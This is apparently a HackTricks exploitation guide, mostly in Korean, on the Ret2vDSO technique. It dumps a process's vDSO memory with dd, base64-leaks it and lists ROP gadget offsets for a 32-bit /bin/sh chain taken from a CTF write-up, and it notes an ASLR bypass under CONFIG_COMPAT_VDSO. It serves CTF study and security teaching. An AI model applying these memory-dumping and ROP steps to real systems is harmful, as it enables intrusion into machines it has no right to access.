Ret2vDSO

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

vDSO 영역에는 gadgets in the vDSO region가 있을 수 있으며, vDSO는 커널이 일부 헬퍼를 빠르게 사용자 공간에서 구현하기 위해 매핑하는 작은 ELF DSO입니다. 이러한 유형의 챌린지에서는 보통 vDSO 영역을 덤프하기 위해 커널 이미지가 제공됩니다.

vDSO 베이스 및 exports 찾기

vDSO 베이스 주소는 auxiliary vector에서 AT_SYSINFO_EHDR로 전달되므로, /proc/<pid>/auxv를 읽을 수 있거나(또는 헬퍼 프로세스에서 getauxval을 호출하면) 메모리 leak에 의존하지 않고 베이스를 복원할 수 있습니다. 실용적인 획득 방법은 Auxiliary Vector (auxv) and vDSO를 참조하세요.

베이스를 확보하면 vDSO를 일반 ELF DSO(linux-vdso.so.1)처럼 취급하세요: 매핑을 덤프하고 readelf -Ws/objdump -d(또는 커널 참조 파서 tools/testing/selftests/vDSO/parse_vdso.c)를 사용해 내보낸 심볼을 확인하고 gadgets를 찾으세요. x86 32-bit에서는 vDSO가 보통 __kernel_vsyscall, __kernel_sigreturn, __kernel_rt_sigreturn를 내보내며; x86_64에서는 일반적으로 __vdso_clock_gettime, __vdso_gettimeofday, __vdso_time 등이 포함됩니다. vDSO는 심볼 버전 관리를 사용하므로 심볼을 해석할 때 예상 버전에 맞추세요.

Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it’s possible to see how it was possible to dump the vdso section and move it to the host with:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets 발견:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Caution

따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 랜덤화되지 않으므로 bypass ASLR abusing the vdso가 가능할 수 있음을 유의하세요: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

kali 2023.2 arm64에서 바이너리의 vdso 섹션을 덤프하고 확인해본 결과, 그 안에서 흥미로운 gadget(스택의 값으로 레지스터를 제어하거나 ret를 위한 x30을 제어할 수 있는 방법 등)은 찾을 수 없었고, except a way to call a SROP만 있었습니다. 자세한 내용은 페이지의 예제를 확인하세요:

SROP - arm64

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기